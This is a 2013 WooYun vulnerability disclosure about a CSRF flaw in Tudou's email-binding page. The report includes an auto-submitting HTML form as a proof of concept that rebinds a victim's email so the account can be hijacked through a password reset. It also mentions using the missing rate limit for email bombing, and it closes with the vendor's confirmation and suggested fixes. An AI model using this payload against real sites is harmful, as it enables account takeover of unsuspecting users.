当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028893

漏洞标题：土豆网邮箱绑定csrf（可导致劫持账号）

相关厂商：土豆网

漏洞作者： 修码的马修

提交时间：2013-07-14 22:01

修复时间：2013-08-28 22:01

公开时间：2013-08-28 22:01

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-14： 细节已通知厂商并且等待厂商处理中
2013-07-15： 厂商已经确认，细节仅向厂商公开
2013-07-25： 细节向核心白帽子及相关领域专家公开
2013-08-04： 细节向普通白帽子公开
2013-08-14： 细节向实习白帽子公开
2013-08-28： 细节向公众公开

简要描述：

csrf，不多说，客官请看

详细说明：

这是问题页面~

sshot-1.png


顺带一个比较糟糕的问题，这里没有设置邮件发送间隔的时间哦，相当于发动技能无cd。

sshot-2.png


看吧刷屏了，可以做炸弹神马的哦。
言归正传，先抓个包

sshot-3.png


木有token哦客官。
poc

<html>
<body>
<form id="tudou" name="tudou" action="http://www.tudou.com/my/setting/private.action" method="POST">
<input type="hidden" name="email" value="***@163.com" />
<input type="submit" value="submit" />
</form>
<script>
   document.tudou.submit(); 
</script>
</body>
</html>


提交后返回一个已发送的页面，其实可以构造的更隐蔽，未进一步深入。
然后就上传页面到服务器，诱惑用户访问，pia一声就会有验证邮件了哦。
更糟糕的是绑定后就可以重置密码了，然后就是劫持账户，然后……

sshot-4.png

漏洞证明：

要说的都说了吧。求高rank

修复方案：

加token，增加发邮件的间隔时间，还有土豆的crossdomain.xml设置不当，给跨域提供了可能性，你家优酷的就设置的挺好的。

版权声明：转载请注明来源 修码的马修@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-07-15 06:52

厂商回复：

确认，解释的很详细。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-14 22:16 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    从来不搞土豆。。见了礼物你就后悔了。不过还好有WB。

  2. 2013-07-14 22:34 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    @鬼魅羊羔 有礼物就不错了。。还嫌弃。。。话说绑定邮箱那里不是要二次验证密码吗？？。。不过没事。。土豆明文存密码的。。

  3. 2013-07-14 22:42 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @基佬库克 土豆的礼物……你要是见到了，你就后悔呀，，

  4. 2013-07-14 23:40 | 修码的马修 ( 实习白帽子 | Rank:55 漏洞数:10 )

    @鬼魅羊羔 好可怕的样子……，不要吓唬小盆友啊

  5. 2013-08-14 21:35 | 雨夜 ( 普通白帽子 | Rank:207 漏洞数:30 | 别和我谈感情，太伤钱……)

    @鬼魅羊羔 是送牙签吗